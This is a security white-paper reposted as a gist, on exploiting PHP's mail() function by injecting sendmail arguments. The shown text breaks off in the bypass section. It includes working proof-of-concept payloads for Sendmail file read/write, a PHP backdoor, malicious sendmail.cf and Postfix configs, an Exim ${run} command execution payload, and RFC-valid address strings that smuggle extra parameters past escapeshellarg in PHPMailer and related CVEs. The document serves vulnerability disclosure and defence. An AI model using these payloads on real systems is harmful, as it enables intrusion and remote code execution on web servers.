Created
August 22, 2017 23:21
-
-
Save cyberheartmi9/b1266b27039de852bf379fa50ec65a11 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
|=-----------------------------------------------------------------------=| | |
|=-------------=[ Pwning PHP mail() function For Fun And RCE ]=---------=| | |
|=---------------=[ New Exploitation Techniques And Vectors ]=-----------=| | |
|=----------------------------=[ Release 1.0 ]=--------------------------=| | |
|=-----------------------------------------------------------------------=| | |
|=-----------------------------------------------------------------------=| | |
|=----------------=[ by https://legalhackers.com/ ]=-------------------=| | |
|=-----------------------------------------------------------------------=| | |
|=---------------------=[ https://ExploitBox.io ]=-------------------=| | |
|=---------------------=[ @Exploit_Box ]=-------------------=| | |
|=-----------------------------------------------------------------------=| | |
--[ Table of contents | |
0 - Introduction | |
1 - SMTP protocol - RFC 2821 | |
2 - The mail() function | |
2.1 - The 5th parameter ($additional_parameters) | |
2.2 - The /usr/sbin/sendmail interface invoked by the mail() function | |
3 - Sendmail Command Injection via mail() and $additional_parameters | |
3.1 - escapeshellcmd() escaping | |
3.2 - Sendmail Command Parameter Injection | |
4 - Differences in the implementation of /usr/sbin/sendmail | |
5 - Known exploitation vectors | |
5.1 - Sendmail MTA: Arbitrary File Read with -C argument | |
5.2 - Sendmail MTA: Arbitrary File Write / Remote Code Execution | |
6 - New exploitation vectors/techniques discovered by the author | |
6.1 - All MTAs: Snatching emails / Performing Recon | |
6.2 - Sendmail MTA: Improvements to the existing File Write vector | |
6.3 - SendmailMTA: Remote Code Execution via sendmail.cf config | |
6.4 - Exim MTA: Remote Code Execution | |
6.5 - Postfix MTA: Code Execution via malicious config | |
6.6 - Sendmail MTA: Denial of Service via File Read + File Append | |
7 - The param injection point & Real World vulnerability examples | |
7.1 - Vulnerable email libraries (PHPMailer / Zend-mail / SwiftMailer) | |
7.2 - The sender injection via SetFrom() method of the PHP email libs | |
7.3 - Other injection points / ways to exploit mail() vulnerabilities | |
8 - Bypass techniques | |
8.1 - The beauty of RFC 3696 & RFC 822 | |
8.2 - Bypassing escapeshellarg() applied on mail() | |
9 - Credits | |
10 - References | |
11 - Disclaimer | |
--[ 0 - Introduction | |
This white-paper strives to clear the common misonception in regards to | |
the limitations in exploitation of the PHP mail() function and show that | |
the exploitation can be taken further than what is currently believed. | |
It presents several new exploitation vectors and bypass techniques | |
on the PHP mail() function that were discovered and recently released by the | |
author of this white-paper in the course of finding multiple critical | |
vulnerabilities in major PHP e-mail sending libraries (PHPMailer, Zend | |
Framework / Zend-mail, SwiftMailer) that are used by millions of web | |
applications/projects (e.g Wordpress, Drupal, Joomla etc.) and PHP | |
programming frameworks (Zend, Yii2, Symphony, Laravel etc.) | |
The techniques include Exim vector that was believed to not be exploitable | |
via mail() function. This vector takes the mail() injection attacks to | |
a new level. | |
A successful exploitation of the mail() function, could allow attackers to | |
achieve Remote Code Execution and other malicious goals. | |
--[ 1 - SMTP protocol - RFC 2821 | |
According to the RFC 2821 | |
https://www.ietf.org/rfc/rfc2821.txt | |
A client email program would typically send a set of SMTP commands similar | |
to the following when connecting to an SMTP server: | |
HELO server-port25.com | |
MAIL FROM: <support@server-port25.com> | |
RCPT TO: <jdoe@dest-server.com> | |
DATA | |
From: "John Smith" <jsmith@server-port25.com> | |
Reply-To: "Another Johns email" <John2@another-server25.com> | |
To: "Jane Doe" <jdoe@dest-server.com> | |
Subject: test message | |
Date: Wed, 4 Jan 2017 06:19:57 -0400 | |
Hello World, | |
This is a test message sent by SMTP | |
Regards | |
. | |
The important part from the perspective of understanding PHP mail() | |
function / sendmail's email address usage described further on is that SMTP | |
client specifies email addresses related to the sender addresses in 2 | |
places: | |
MAIL FROM: <support@server-port25.com> | |
and in the header set: | |
From: "John Smith" <jsmith@server-port25.com> | |
Reply-To: "Another Johns email" <John2@another-server25.com> | |
that is sent after the DATA command. | |
The first will be used by the destination SMTP server to return an email | |
in case of a delivery problem. | |
The latter will be used entirely by the email client software (such as | |
Outlook, Thunderbird etc.) of the user who receives the email, to display | |
the sender information (based on the From header) in a 'From' address | |
field as well as to decide (based on Reply-To header if present, or From | |
header if missing) which address to reply to when the user clicks the | |
Reply button. | |
--[ 2 - The mail() function | |
mail() is a standard PHP function that is used as an interface for sending | |
e-mails from PHP scripts. | |
http://php.net/manual/en/function.mail.php | |
The function has the following definition: | |
# php --rf mail | |
Function [ <internal:standard> function mail ] { | |
- Parameters [5] { | |
Parameter #0 [ <required> $to ] | |
Parameter #1 [ <required> $subject ] | |
Parameter #2 [ <required> $message ] | |
Parameter #3 [ <optional> $additional_headers ] | |
Parameter #4 [ <optional> $additional_parameters ] | |
} | |
} | |
From an attacker's perspective, the last (5th) argument is the | |
most interesting as it can allow injection of additional parameters to | |
/usr/bin/sendmail program installed on the system which is transparently | |
used by mail() to deliver the actual message. | |
--[ 2.1 - The 5th parameter ($additional_parameters) | |
The 5th parameter is optional. Many web applications use it however | |
to set envelope sender address / return-path with the parameter: | |
-f email@server-address.com | |
or alternatively: | |
-r email@server-address.com | |
The parameter with the address will be passed to /usr/sbin/sendmail, which | |
will use the email address to inform the receiving email server about the | |
origin/sender (through the 'MAIL FROM' SMTP command), for it to know where | |
to return an error message in case of a delivery failure. | |
--[ 2.2 - The /usr/sbin/sendmail interface invoked by the mail() function | |
/usr/sbin/sendmail program, as the name suggests, is an interface that | |
can be used for sending emails. | |
It is provided by the mail transfer agent (MTA) software installed on the | |
system (such as Sendmail, Postfix etc.). | |
When an email is sent with mail() by this simple PHP script: | |
<?php | |
$to = "john@localhost"; | |
$subject = "Simple Email"; | |
$headers = "From: mike@localhost"; | |
$body = 'Body of the message'; | |
$sender = "admin@localhost"; | |
mail($to, $subject, $body, $headers, "-f $sender"); | |
?> | |
PHP will make the following execve() call to execute sendmail program: | |
execve("/bin/sh", | |
["sh", "-c", "/usr/sbin/sendmail -t -i -f admin@localhost"], | |
[/* 24 environment vars */]) | |
and pass the following data to its STDIN: | |
To: john@localhost | |
Subject: Simple Email | |
X-PHP-Originating-Script: 0:simple-send.php | |
From: mike@localhost | |
Body of the message | |
The -t and -i parameters are added by PHP automatically. | |
Parameter -t makes sendmail extract headers from STDIN , and -i prevents | |
sendmail from treating '.' as the end of input. | |
The -f comes from the 5th parameter of the mail() function call. | |
What is interesting here is that the sendmail command gets executed with the | |
help of the system shell (sh) which creates some opportunities for command | |
injection attacks if the application passes untrusted input to the last | |
/ the 5th parameter of mail() function. | |
--[ 3 - Sendmail Command Injection via mail() and $additional_parameters | |
If an attacker was able to inject data to the 5th parameter of mail() | |
function, for example by means of the $sender variable set to an unfiltered | |
GET variable: | |
$sender = $_GET['senders_email']; | |
mail($to, $subject, $body, $headers, "-f $sender"); | |
The attacker could inject arbitrary extra parameters to the | |
/usr/sbin/sendmail command by making the request to the PHP script: | |
http://webserver/vulnerable.php?senders_email=attackers@email%20extra_data | |
which would execute mail() as: | |
mail(..., "-f attackers@email extra_data"); | |
which would lead to executing sendmail with the parameters: | |
/usr/sbin/sendmail t -i -f attackers@email extra_data | |
--[ 3.1 - escapeshellcmd() escaping | |
The important thing to note is that the mail() function performs command | |
escaping internally by essentially calling the : | |
escapeshellcmd($additional_parameters) | |
function, so that shell metacharacters will not work. For example, | |
setting | |
$senders_email GET variable to: | |
attacker@remote > /tmp/shell_injection | |
will not lead to the file creation of the shell_injection file as > | |
character will get escaped by the escapeshellcmd() and the sendmail | |
call will turn into: | |
/usr/sbin/sendmail t -i -f attacker@remote \> /tmp/shell_injection | |
thus preventing the special function of the '>' shell metacharacter. | |
--[ 3.2 - Sendmail Command Parameter Injection | |
The attacker can however inject additional command parametrs to the | |
sendmail command itself as the escapeshellcmd() function called by mail() | |
does not quote the $additional_parameters parameter by default. | |
It gives a programmer freedom to pass multiple arguments to sendmail, | |
but may introduce a vulnerability to unaware programmers. | |
A successful injection of additional parameters to sendmail, might | |
trigger additional functionality of the sendmail program itself. | |
For example, if the attacker managed to set $return variable to: | |
attackere@remote -LogFile /tmp/output_file | |
The sendmail program would be called as a shell command: | |
/usr/sbin/sendmail -t -i -f attackere@remote -LogFile /tmp/output_file | |
If the -LogFile was a valid argument for the sendmail interface installed | |
on the target machine, this could cause the program to write out a log file | |
into /tmp/output_file. | |
As it turns out Sendmail MTA has such a logging function in its | |
implementation of /usr/sbin/sendmail interface, which can be enabled by | |
-X parameter and could be used to save malicious code provided by the | |
attacker. | |
--[ 4 - Differences in the implementation of /usr/sbin/sendmail | |
As mentioned in the previous chapters, sendmail interface is provided by | |
the MTA email software (Sendmail, Postfix, Exim etc.) installed on the | |
system. | |
Although the basic functionality (such as -t -i -f parameters) remains the | |
same for compatibility reasons, other functions and parameters vary | |
greatly depending on the MTA installed. | |
For example, the aforementioned -X parameter that can be used for logging | |
is only implemented in the Sendmail MTA's version of /usr/sbin/sendmail | |
interface. | |
The others, simply implement it as a dummy switch, for compatibility | |
reasons or do not support it at all. | |
For this reason the man page for sendmail program varies depending on the | |
MTA installed on the system. | |
Here are a few examples of different man pages of sendmail command/interface: | |
Sendmail MTA: | |
http://www.sendmail.org/~ca/email/man/sendmail.html | |
Postfix MTA: | |
http://www.postfix.org/mailq.1.html | |
Exim MTA: | |
https://linux.die.net/man/8/exim | |
--[ 5 - Known exploitation vectors | |
The potential malicious usage of the 5th parameter of mail() involving | |
parameter injection to /usr/sbin/sendmail apears to be first uncovered by | |
Sogeti/ESEC company in the blog post released in 2011: | |
http://esec-pentest.sogeti.com/posts/2011/11/03/using-mail-for-remote-code-execution.html | |
The blog post revealed 2 exploitation vectors for Sendmail MTA that | |
may allow an attacker to * read/write to an arbitrary file and potentially | |
gain Remote Code Execution via -C and -X parameters to sendmail interface | |
provided by Sendmail MTA. | |
These 2 vectors only work on Sendmail MTA, and are presented below. | |
--[ 5.1 - Sendmail MTA: Arbitrary File Read with -C argument | |
From sendmail man page: | |
-Cfile | |
Use alternate configuration file. | |
-X logfile | |
Log all traffic in and out of mailers in the indicated log file. | |
These 2 parameters can be combined to cause sendmail to load an arbitrary | |
file as the config, and output the contents as a set of error messages | |
(due to unknown config lines). | |
For example, if attacker injected: | |
-C/etc/passwd -X/tmp/output.txt | |
as the 5th parameter of mail(), the following command would get executed: | |
/usr/sbin/sendmail -i -t -C/etc/passwd -X/tmp/output.txt | |
which would save the following data into /tmp/output.txt: | |
/etc/passwd: line 1: unknown configuration line | |
"root:x:0:0:root:/root:/bin/bash" | |
/etc/passwd: line 2: unknown configuration line | |
"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin" | |
/etc/passwd: line 3: unknown configuration line | |
"bin:x:2:2:bin:/bin:/usr/sbin/nologin" | |
/etc/passwd: line 4: unknown configuration line | |
"sys:x:3:3:sys:/dev:/usr/sbin/nologin" | |
/etc/passwd: line 5: unknown configuration line | |
"sync:x:4:65534:sync:/bin:/bin/sync" | |
/etc/passwd: line 6: unknown configuration line | |
"games:x:5:60:games:/usr/games:/usr/sbin/nologin" | |
... | |
For the attack to be useful to a remote attacker. The output file would | |
need to be placed in a writable directory under the document root where it | |
could be retrieved by the attacker through the web server. | |
--[ 5.2 - Sendmail MTA: Arbitrary File Write / Remote Code Execution | |
The -X parameter can also be used in combination with the: | |
-OQueueDirectory=/tmp/ | |
parameter of Sendmail MTA's version of /usr/sbin/sendmail interface. | |
The parameter is described by the man page as: | |
QueueDirectory=queuedir | |
Select the directory in which to queue messages. | |
Attacker needs to select a world-writable directory to allow for saving | |
temporary files. | |
This will allow to successfully send a message passed to sendmail, as well | |
as save to the log file into an arbitrary file pointed by -X parameter. | |
Simple PoC: | |
<?php | |
$sender = "attacker@anyhost -OQueueDirectory=/tmp/ -X/tmp/poc.php"; | |
$body = '<?php phpinfo(); ?>'; | |
// ^ unfiltered vars, coming from attacker via GET, POST etc. | |
$to = "john@localhost"; | |
$subject = "Simple Email"; | |
$headers = "From: mike@localhost"; | |
mail($to,$subject,$body,$headers, "-f $sender "); | |
?> | |
The PoC will save the PHP code within $body into the log file with this | |
resulting contents of /tmp/poc.php: | |
06272 <<< To: john@localhost | |
06272 <<< Subject: Simple Email | |
06272 <<< X-PHP-Originating-Script: 0:simplepoc.php | |
06272 <<< From: mike@localhost | |
06272 <<< | |
06272 <<< <?php phpinfo(); ?> | |
06272 <<< [EOF] | |
As the attacker might be able to control both the filename and contents, | |
this could potentially result in Arbitrary PHP code execution if the | |
attacker managed to save it under a writable directory within the document | |
root such as: | |
-X/var/www/html/webapp1/upload/backdoor.php | |
which they could then execute by a GET request: | |
http://victim-server/webapp1/upload/backdoor.php | |
For this to work, the upload directory must have enabled parsing/execution | |
of PHP files which sometimes gets turned off for security reasons by the | |
administrator or by the webapplication installer (via special rules in | |
.htaccess placed within the upload directory). | |
Also note that the output log file contains a lot of debug information | |
added by Sendmail MTA. | |
--[ 6 - New exploitation vectors/techniques discovered by the author | |
Sendmail MTA is rarely used due to its complexity and a history of | |
vulnerabilities. | |
It is no longer used by modern Linux distributions as the default MTA and | |
have been replaced with Postfix MTA on RedHat-based systems such as CentOS, | |
and with Exim MTA on Debian-based systems such as Ubuntu, Debian etc. | |
This makes it quite difficult to find Sendmail MTA in a real-world setups. | |
On systems where it is available, the exploitation could sometimes be | |
tricky due to the aforementioned limitations (correct webroot paths, | |
requirement for a php-executable/writable directory, mised-up payload). | |
As both of the known vectors presented in previous chapter require Sendmail | |
MTA to work, the author has performed a new research which lead to the | |
discovery of new exploitation vectors/techniques that may be used | |
on systems with modern MTAs such as Exim and Postfix. | |
The research has also produced a new vector for Sendmail MTA as well as | |
some improvements to the already-known vectors. | |
--[ 6.1 - All MTAs: Snatching emails / Performing Recon | |
One of the arguments that does not change across different MTAs is the | |
list of additional recipients which comes after the option list as per | |
this man page: | |
sendmail [option ...] [recipient ...] | |
If attacker control the 5th parameter of mail() they can simply append | |
an extra recipient as shown below: | |
<?php | |
// Recon via mail() vector on all MTAs / sendmail versions | |
// | |
// Created by: | |
// Dawid Golunski - @dawid_golunski - https://legalhackers.com | |
$sender = "nobody@localhost attacker@anyhost-domain.com"; | |
// ^ unfiltered var, coming from attacker via GET, POST etc. | |
$to = "support@localhost"; | |
$headers = "From: mike@localhost"; | |
$subject = "Support ticket: Remote Recon PoC"; | |
$body = "Show me what you got!"; | |
mail($to,$subject,$body,$headers, "-f $sender "); | |
?> | |
which would execute the command: | |
/usr/sbin/sendmail -t -i -f support@localhost attacker@anyhost-domain.com | |
and send an email similar to the following right into the attacker's | |
mailbox attacker@anyhost-domain.com: | |
Return-Path: <nobody@localhost> | |
Received: from localhost (localhost [127.0.0.1]) | |
by localhost (8.14.4/8.14.4/Debian-8+deb8u1) with ESMTP | |
id v04FSqQ5008197; | |
Wed, 4 Jan 2017 10:28:52 -0500 | |
Received: (from www-data@localhost) | |
by localhost (8.14.4/8.14.4/Submit) id v04FSqEU008196 | |
for attacker@anyhost-domain.com; Wed, 4 Jan 2017 10:28:52 -0500 | |
Date: Wed, 4 Jan 2017 10:28:52 -0500 | |
Message-Id: <201701041528.v04FSqEU008196@localhost> | |
X-Authentication-Warning: localhost: www-data set sender to | |
nobody@localhost using -f | |
To: support@localhost | |
Subject: Support ticket: Remote Recon PoC | |
X-PHP-Originating-Script: 1000:recon-test.php | |
From: mike@localhost | |
This might reveal: | |
* version of operating system in use (Debian) | |
* server IPs | |
* the version of MTA in use (8.14.4 in this case, which is Sendmail MTA) | |
* the name of the script that sent the message (recon-test.php) which | |
could reveal the name of the email sending library/framework in use e.g: | |
X-PHP-Originating-Script: 0:class.phpmailer.php | |
If an application uses a dedicated email library such as PHPMailer, | |
Zend-mail etc. it might also append its version header. | |
For example: | |
X-Mailer: PHPMailer 5.2.17 (https://github.com/PHPMailer/PHPMailer) | |
Knowing the library in use attacker can adjust their attack to the | |
specific OS / MTA and PHP email library in use. | |
For example, the above version of PHPMailer is vulnerable to: | |
PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033) | |
discovered by the author. | |
--[ 6.2 - Sendmail MTA: Improvements to the existing File Write vector | |
It is mistakenly believed that -X parameter requires a full path and | |
therefore an attacker needs to guess the webroot of a vulnerable website. | |
This is however not true as sendmail will also accept a relative path. | |
This allows the attacker to simply use the current working directory | |
of the remote vulnerable script as a reference. | |
If the remote script is running at the top level of the webroot, | |
the attacker may try to inject the following argument: | |
-X ./upload/backdoor.php | |
instead of | |
-X /var/www/html/webapp1/guessed-webroot/ | |
Additionally, the somewhat long: | |
-OQueueDirectory=/tmp/ | |
parameter can also be reduced to: | |
-oQ/tmp/ | |
which might be useful if a web application limits the size of the $sender | |
string, as well as to bypass potential filtration of '=' character etc. | |
--[ 6.3 - SendmailMTA: Remote Code Execution via sendmail.cf config | |
In a secure deployment of a webapp, PHP script execution might be disabled | |
within the upload directory and the application might only allow upload | |
of static files such as text files, images etc. | |
A new vector was discovered that could allow RCE despite these limitations. | |
As sendmail interface allows to load a custom Sendmail MTA config file via | |
-C | |
argument to /usr/sbin/sendmail , an attacker could upload a malicious | |
config file as a static/text file via webapp's upload feature and use | |
it to force Sendmail to execute malicious code upon processing an | |
email message. | |
This could be achieved by making a copy of /etc/mail/sendmail.cf config | |
file and replacing the default Mlocal mail handler present at the end | |
of the file with a Sendmail config shown below (between the # lines): | |
<?php | |
/* | |
########################################################################## | |
# Sendmail MTA config vector executing /usr/bin/php that loads RCE code | |
# on stdin passed by mail() (e.g. within message body / subject etc.) | |
# | |
# Make a copy of a sendmail.cf config from /etc/mail/sendmail.cf | |
# and then append this config stanza/vector to the end of it. | |
# Such stanza can then be uploaded to the target webapp into upload/ dir | |
# for example with an example name of: sendmail_cf_exec | |
# | |
# Created by: | |
# Dawid Golunski - @dawid_golunski - https://legalhackers.com | |
Mlocal, P=/usr/bin/php, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL, | |
R=EnvToL/HdrToL, | |
T=DNS/RFC822/X-Unix, | |
A=php -- $u $h ${client_addr} | |
########################################################################## | |
*/ | |
$sender = "attacker@anyhost -oQ/tmp/ -C./upload/sendmail_cf_exec | |
www-data@localhost"; | |
$body = 'PHP RCE code: <?php system("touch /tmp/PWNED"); ?>'; | |
// ^ unfiltered vars, coming from attacker via GET, POST etc. | |
$to = "john@localhost"; | |
$subject = "Exim RCE PoC"; | |
$headers = "From: mike@localhost"; | |
mail($to,$subject,$body,$headers, "-f $sender "); | |
?> | |
The $sender payload will use relative path to load the crafted Sendmail MTA | |
config file from (previously uploaded with the static file uploader) | |
upload/sendmail_cf_exec and use it to process the incoming email from | |
mail() function. | |
Sendmail MTA will then spawn /usr/bin/php process and process the | |
attacker's payload within the $body of the message. | |
Apart from the remote exploitation with static file upload scenario, | |
this vector could obviously also be very easily used in a shared hosting | |
environment. | |
In such a case, an attacker could easily use /tmp directory to prepare | |
the malicious config and then use mail() vulnerability in the target app | |
to load the config and gain code execution in the context of the victim | |
user. | |
--[ 6.4 - Exim MTA: Remote Code Execution | |
Exim MTA is the default MTA software installed with Debian-based systems | |
such as Ubuntu and Debian. | |
The /usr/sbin/sendmail interface provided by Exim4 has a fairly rich set | |
of functions. | |
The research uncovered -be option which can be very useful to attackers. | |
The man page states: | |
-be Run Exim in expansion testing mode. Exim discards its root | |
privilege, to prevent ordinary users from using this mode to read otherwise | |
inaccessible files. | |
If no arguments are given, Exim runs interactively, | |
prompting for lines of data. Otherwise, it processes each argument in turn. | |
The exim syntax/language provided by Exim was investigated for interesting | |
variables that could be expanded. | |
The exim syntax allows expanding standard variables such as: '$h_subject' | |
or '$recipients'. | |
Further research however uncovered ${run} which can be expanded to return | |
a result of a shell command. | |
For example, the following string: | |
${run{/bin/true}{yes}{no}} | |
would be expanded to 'yes' upon successful execution of /bin/true. | |
This was quickly turned into Arbitrary Remote Code Execution payload | |
which would execute arbitrary shell command passed within $body of the | |
message: | |
<?php | |
// RCE via mail() vector on Exim4 MTA | |
// Attacker's cmd is passed on STDIN by mail() within $body | |
// Discovered by: | |
// Dawid Golunski - @dawid_golunski - https://legalhackers.com | |
$sender = "attacker@anyhost -be"; | |
$body = 'Exec: ${run{/bin/bash -c "/usr/bin/id | |
>/tmp/id"}{yes}{no}}'; | |
// ^ unfiltered vars, coming from attacker via GET, POST etc. | |
$to = "john@localhost"; | |
$subject = "Exim RCE PoC"; | |
$headers = "From: mike@localhost"; | |
mail($to,$subject,$body,$headers, "-f $sender "); | |
?> | |
This exploit vector seems the most powerful as it can allow attackers to | |
achieve instant RCE on systems with Exim MTA. | |
The code will get executed as soon as injected parameter/body of mail() | |
function gets passed to /usr/sbin/sendmail. | |
There is no need to write to any files and therefore writable directories | |
that are parsed by PHP engine are not required. | |
--[ 6.5 - Postfix MTA: Code Execution via malicious config | |
Postfix has proved to be more tricky during the research. | |
Nevertheless it was possible to determine a way that an attacker could use | |
to achieve code execution when the attacker and the target reside within | |
the same shared hosting environment. | |
Certain setups could also make it possible to carry out the attack | |
remotely. | |
Similarly to Sendmail MTA, the /usr/sbin/sendmail interface provided by Postfix | |
MTA has a -C switch that can be used to load a custom config. | |
sendmail will fail however as soon as the attacker's message message is | |
passed to postdrop command for proessing. | |
Postdrop will notice the -C config and stop further execution. | |
This could be bypassed however by creating a custom main.cf Postfix config | |
in /tmp/main.cf file with the following setting: | |
mailbox_command = /tmp/postfixfakebin/ | |
The attacker could then place a malicious bash script/binary within the | |
postfix_fake_bin directory and inject the following parameter to the | |
/usr/sbin/sendmail interface provided by Postfix MTA, through mail() | |
parameter injection as shown in the PoC below: | |
<?php | |
/* | |
Code Exec via mail() vector on Postfix MTA | |
Attacker's shell cmds must be placed under postdrop file within a shared | |
directory e.g. /tmp/postfixfakebin/postdrop | |
A config line of: | |
mailbox_command = /tmp/postfixfakebin/ | |
must also be added to a shared directory e.g. /tmp/main.cf | |
Created by: | |
Dawid Golunski - @dawid_golunski - https://legalhackers.com | |
*/ | |
$sender = "attacker@anyhost -C /tmp/"; | |
// ^ unfiltered vars, coming from attacker via GET, POST etc. | |
$body = 'Simple body, the payload is in postdrop anyway'; | |
$to = "john@localhost"; | |
$subject = "Postfic exec PoC"; | |
$headers = "From: mike@localhost"; | |
mail($to,$subject,$body,$headers, "-f $sender "); | |
?> | |
This scenario could potentially be exploited remotely if a target webapp | |
(vulnerable to mail() param injection) provides a file manager utitlity | |
that allows the attacker to create directories/files but does not | |
parse PHP files. | |
Another remote scenario could include a file uploader which lets users | |
upload ZIP files. A malicious zip could contain main.cf and postdrop | |
script/binary which gets extracted into a known location. | |
--[ 6.6 - Sendmail MTA: Denial of Service via File Read + File Append | |
The -C and -X parameters could be used to perform a Denial of Service | |
attack on the target by reading big known files such as web server logs | |
with -C option and appending them to a file in a writable directory | |
by the web server such as /tmp , /var/www/html/upload , | |
/var/lib/php5/sessions etc. to exhaust disk space necessary for the correct | |
operation of the web application / the OS. | |
Although this specific example is limited to Sendmail MTA, this vector | |
likely affects more MTA servers and there likely are other parameters | |
supported by the remaining MTAs that could carry out a similar DoS attack. | |
--[ 7 - The param injection point & Real World vulnerability examples | |
The mail() parameter injection was deemed hardly exploitable / impractical | |
for many years as the 5th parameter of mail() has been thought to be | |
rarely exposed to malicious input outside of web application control panels | |
which are usually restricted to administrative users and therefore are | |
usually of little use to remote attackers. | |
Finding a mail() param injection vulnerability, would also not necessarily | |
guarantee a successful exploitation as it would depend on installed MTA on | |
the web server (its sendmail interface) and up until now the only option was | |
rarely used Sendmail MTA with the 2 vectors -X -C (File Write / Read) which | |
decreased the attack surface further. | |
For this reason, the new attack vectors presented in the previous chapter | |
could be very useful in exploitation of the real world new vulnerabilities | |
described further on and open more attack possibilities. | |
--[ 7.1 - Vulnerable email libraries (PHPMailer / Zend-mail / SwiftMailer) | |
Recently a set of mail() param injection vulnerabilities was exposed by the | |
author: | |
PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033) | |
PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045) | |
SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074) | |
Zend Framework/zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034) | |
The details can be seen in the respective advisories, however we can have a | |
quick look at the problem they all shared, on the example of PHPMailer. | |
--[ 7.2 - The sender injection via SetFrom() method of the PHP email libs | |
Similarly to the other email libraries, PHPMailer class uses PHP mail() | |
function as its default transport. | |
The transport was implemented using the mailSend() function: | |
protected function mailSend($header, $body) | |
{ | |
$toArr = array(); | |
foreach ($this->to as $toaddr) { | |
$toArr[] = $this->addrFormat($toaddr); | |
} | |
$to = implode(', ', $toArr); | |
$params = null; | |
//This sets the SMTP envelope sender which gets turned into a | |
//return-path header by the receiver | |
if (!empty($this->Sender)) { | |
$params = sprintf('-f%s', $this->Sender); | |
} | |
... | |
$result = false; | |
if ($this->SingleTo and count($toArr) > 1) { | |
foreach ($toArr as $toAddr) { | |
$result = $this->mailPassthru($toAddr, $this->Subject, | |
$body, $header, $params); | |
as can be seen, it creates a $params variable that appends $this->Sender | |
property to '-f ' string to create a sendmail parameter (Envelope Sender | |
/ MAIL FROM) that gets passed to the mail() function as the 5th parameter. | |
The internal $this->Sender property can be validated and set by calling | |
the setFrom() method of PHPMailer class. This looks as follows: | |
public function setFrom($address, $name = '', $auto = true) | |
{ | |
$address = trim($address); | |
$name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim | |
// Don't validate now addresses with IDN. Will be done in send(). | |
if (($pos = strrpos($address, '@')) === false or | |
(!$this->has8bitChars(substr($address, ++$pos)) or | |
!$this->idnSupported()) and | |
!$this->validateAddress($address)) { | |
... | |
In theory, setFrom() should rarely be exposed to untrusted user input, and | |
even if it was, there is a validation function in place that validates | |
the email to be RFC 822 compliant so this should not be a problem. | |
The PHPMailer tutorial at: | |
https://github.com/PHPMailer/PHPMailer/wiki/Tutorial | |
shows a basic usage PHPMailer as: | |
<?php | |
require 'PHPMailerAutoload.php'; | |
$mail = new PHPMailer; | |
$mail->setFrom('from@example.com', 'Your Name'); | |
$mail->addAddress('myfriend@example.net', 'My Friend'); | |
$mail->Subject = 'First PHPMailer Message'; | |
$mail->Body = 'Hi! first e-mail from PHPMailer.'; | |
if(!$mail->send()) { | |
echo 'Message was not sent.'; | |
echo 'Mailer error: ' . $mail->ErrorInfo; | |
} else { | |
echo 'Message has been sent.'; | |
} | |
Contrary to what the name might suggest, this setFrom() example should not | |
however be used for storing an address provided by visitors. | |
Unfortunatelly, due to the name of the function and the popularity of the | |
code snippet, many scripts use setFrom() to set the visitor's 'From' e-mail | |
address passed through a field in various Contact and Feedback forms. | |
Unaware that they should be using AddReplyTo() (which sets the | |
DATA/Reply-To header, as opposed to the MAIL FROM/Envelope Sender address) | |
instead. | |
Implementation with setFrom() will however achieve the result and the | |
Contact/Feedback form may work as expected, even though it does not conform | |
to the email best practice. | |
This would not make a severe security flaw , if it was not for the fact | |
that the untrusted email address set with setFrom() would end up as the | |
5th parameter to mail() function and the RFC validation could be bypassed. | |
This made it possible to inject arbitrary parameters to /usr/sbin/sendmail | |
and lead to a critical Remote Code Execution flaw that could be exploited | |
via a range of vectors presented in the previous chapter. | |
As mentioned, the other PHP libraries had a very similar flaw which was | |
later dubbed with a name - "PwnScriptum". | |
More details together with a demo of this vulnerability showing how it | |
could get exploited via a Contact form can be seen at: | |
https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html | |
A limited exploit has also been shared at: | |
https://legalhackers.com/exploits/CVE-2016-10033/10045/10034/10074/PwnScriptum_RCE_exploit.py | |
--[ 7.3 - Other injection points / ways to exploit mail() vulnerabilities | |
The remaining real-world examples will be described in the next version of | |
this white-paper once the issues have been fixed by certain vendors that | |
are currently working on security patches. | |
--[ 8 - Bypass techniques | |
This chapter presents some bypass techniques that might come in handy to | |
bypass similar protections. | |
The next 2 were used to bypass protections offered by the PHP email libraries | |
discussed in the previous chapter. | |
--[ 8.1 - The beauty of RFC 3696 & RFC 822 | |
The RFC 3696 / RFC 822 standards | |
https://tools.ietf.org/html/rfc3696 | |
https://www.ietf.org/rfc/rfc0822.txt | |
emails to take the following forms: | |
Abc\@def@example.com | |
Fred\ Bloggs@example.com | |
Joe.\\Blow@example.com | |
"Abc@def"@example.com | |
"Fred Bloggs"@example.com | |
The generosity of these standards allowed the author to construct a valid email | |
address that complies with the RFCs but is at the same time a malicious payload | |
for the 5th argument of mail(): | |
"Attacker \" -Param2 -Param3"@test.com | |
when passed to a vulnerable PHP email library and then to mail() function, it | |
would cause sendmail to execute with the parameters: | |
Arg no. 0 == [/usr/sbin/sendmail] | |
Arg no. 1 == [-t] | |
Arg no. 2 == [-i] | |
Arg no. 3 == [-fAttacker\] | |
Arg no. 4 == [-Param2] | |
Arg no. 5 == [-Param3"@test.com] | |
Attacker could thus break out of the -f parameter context and inject additional | |
parameters (arg no. 4 and arg no. 5 in the example above). | |
--[ 8.2 - Bypassing escapeshellarg() applied on mail() | |
It seems intuitive that additional parameters passed to sendmail via the 5th | |
parameter of mail() function should be single quoted with escapeshellarg() | |
function which has been designed for this kind of purpose. | |
Unfortunatelly, it clashes with the internal command escaping performed | |
internally by the mail() function. | |
A good example of this is the CVE-2016-10033 vulnerability which turned | |
into a new vulnerability of CVE-2016-10045 , as the fix of this kind could | |
be bypassed due to the clashing and setting the Sender to: | |
$mail->SetFrom("\"Attacker\\' -Param2 -Param3\"@test.com", 'Client Name'); | |
would result in the followig list of arguments passed to sendmail program: | |
Arg no. 0 == [/usr/sbin/sendmail] | |
Arg no. 1 == [-t] | |
Arg no. 2 == [-i] | |
Arg no. 3 == [-f\"Attacker\\\] | |
Arg no. 4 == [-Param2] | |
